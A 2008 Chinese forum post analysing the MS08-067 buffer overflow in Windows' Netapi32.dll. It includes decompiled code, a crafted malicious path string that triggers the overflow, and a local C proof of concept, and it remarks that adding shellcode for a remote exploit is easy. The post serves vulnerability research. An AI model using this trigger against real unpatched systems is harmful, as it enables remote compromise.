k9999和安琪儿x亲亲:MS08-067漏洞分析

来源:百度文库 编辑:偶看新闻 时间:2024/04/28 01:18:24
标 题: 【原创】MS08-067漏洞分析(20081025)
作 者: DiYhAcK
时 间: 2008-10-25,21:56:17
链 接: http://bbs.pediy.com/showthread.php?t=75361

前天看到微软紧急发布了一个漏洞补丁,就去看了下,发现该漏洞影响覆盖面非常广,包括Windows 2000/XP/2003/Vista/2008的各个版本,甚至还包括测试阶段的Windows 7 Pre-Beta,并且漏洞存在于Windows系统默认开启的Server服务当中,而且超越了当年风靡一时的MS06-040漏洞(又想起当年用该漏洞。。。。。。。嘿嘿)。这也难怪微软打破周二发布补丁的惯例。于是下了补丁研究研究。

下完补丁,发现被打补丁的又是 Netapi32.dll,对比原文件和补丁中的文件,有问题的函数又是NetpwPathCanonicalize(MS06-040也是这个函数,具体信息请搜索)简单说下这个函数:
该函数用于标准化一个路径,一般用于本地调用,若调用者指定了一个远程计算机名将会使用RPC。

该函数能够处理的路径类型:
1.相对路径 e.g. foo\bar
2.绝对路径 e.g. \foo\bar  
3.UNC 路径 e.g. \\computer\share\foo 
4.全路径  e.g. d:\foo\bar

该函数声明如下:
DWORD 
NetpwPathCanonicalize(
LPWSTR PathName, //需要标准化的路径
LPWSTR Outbuf, //存储标准化后的路径的Buffer
DWORD OutbufLen, //Buffer长度
LPWSTR Prefix, //可选参数,当PathName是相对路径时有用
LPDWORD PathType, //存储路径类型
DWORD Flags // 保留,为0
)

该函数中在一个循环里使用wcscpy,恶意攻击者通过构造一个精心设计的路径将使漏洞触发。

结合IDA分析该函数:(F5 + 整理 + 主要代码)
代码:
int __stdcall NetpwPathCanonicalize(LPWSTR PathName, LPWSTR Outbuf, DWORD OutbufLen, LPWSTR Prefix, LPDWORD PathType, DWORD Flags){  bool v7;   int result;   v7 = !Prefix || !*Prefix;  Prefix = (LPWSTR)*PathType;    if ( *PathType || (result = NetpwPathType(PathName, (int)&Prefix, 0), !result) )    {      if ( v7 || (result = NetpwPathType(Prefix, (int)&Flags, 0), !result) )      {        if ( OutbufLen != 0 )        {          *Outbuf = 0;          result = CanonPathName(Prefix, PathName, Outbuf, OutbufLen, 0); //核心函数,主要处理在这里,问题也出在这里          if ( !result )            result = NetpwPathType(Outbuf, (int)PathType, 0);        }        else        {          result = 2123;        }      }    }  return result;}int __stdcall CanonPathName(LPWSTR PathPrefix, LPWSTR PathName, LPWSTR Buffer, DWORD BufferSize, LPDWORD RetSize){  size_t preLen;  size_t pathLen;  wchar_t pathBuffer[MAX_PATH*2 + 1];  if ( PathPrefix && *PathPrefix )  {    preLen = wcslen(PathPrefix);    if ( preLen != 0)    {      if ( preLen > 520 ) //520 = sizeof(pathBuffer) - 1        return 0x7Bu; // ERROR_INVALID_NAME              wcscpy(pathBuffer, PathPrefix);            if ( pathBuffer[preLen-1] != '\\' && pathBuffer[preLen-1] != '/') //判断前缀是否以'\'或'/'结尾      {          wcscat(pathBuffer, L"\\");          ++preLen;      }      if ( PathName[0] == '\\' || PathName[0] == '/' )        ++pathLen;    }  }  else  {    pathBuffer[0] = 0;  }  pathLen = wcslen(PathName);  if (pathLen + preLen > sizeof(pathBuffer) - 1)    return 0x7Bu; // ERROR_INVALID_NAME  wcscat(pathBuffer, PathName);  if ( pathBuffer )  {    do //该循环把路径中的'/'转换成'\'    {      if ( *pathBuffer == '/' )        *pathBuffer = '\\';      ++pathBuffer;    }    while ( *pathBuffer );  }  if ( !sub_71C4A2CA() && !ConPathMacros(pathBuffer) ) //ConPathMacros中存在缓冲区溢出漏洞!!!    return 0x7Bu;  pathLen = 2 * wcslen(&pathBuffer) + 2;  if ( pathLen > BufferSize )  {    if ( RetSize )      *RetSize = pathLen;    result = 0x84Bu;   }  else  {    wcscpy(Buffer, &pathBuffer);    result = 0;  }  return result;}
函数ConPathMacros在附件中可以找到。
在测试时大家可以把函数ConPathMacros单独提取出来,传入一个路径,看其是怎样去掉路径中的\..和\.宏

构造恶意路径:

形如".\\\\x\\..\\..\\aaaaaaaaaaaaaaaaaaaaaaaaaaaaa"即可导致函数ConPathMacros漏洞的触发

看图中的局部变量:


本地溢出 Netapi32.dll:

代码:
int main(int argc, char* argv[]){    WCHAR szBuffer[] = L".\\\\x\\..\\..\\aaaaaaaaaaaaaaaaaaaaaaaaaaaa";    //ConvertPathMacros(szBuffer);    //printf("%S\n", szBuffer);    HMODULE h = LoadLibrary("netapi32.dll");    if(h != NULL)    {        NetpwPathCanonicalize = (pNetpwPathCanonicalize)GetProcAddress(h, "NetpwPathCanonicalize");        if(NetpwPathCanonicalize != NULL)        {            WCHAR Buffer[256] = L"";            DWORD type = 1000; //不能为0,否则构造的路径过不了NetpwPathType的检查            DWORD ret = NetpwPathCanonicalize(szBuffer, Buffer, 512, NULL, &type, 0);            printf("ret = %x\n", ret);            printf("%S\n", Buffer);        }        FreeLibrary(h);    }    return 0;}
漏洞的源头找到了,加个shellcode写个Remote Exploit不难。。。况且可以参考 MS06-040,

手工实现RPC通信等等。。。

Bulletin:
http://www.microsoft.com/technet/security/Bulletin/MS08-067.mspx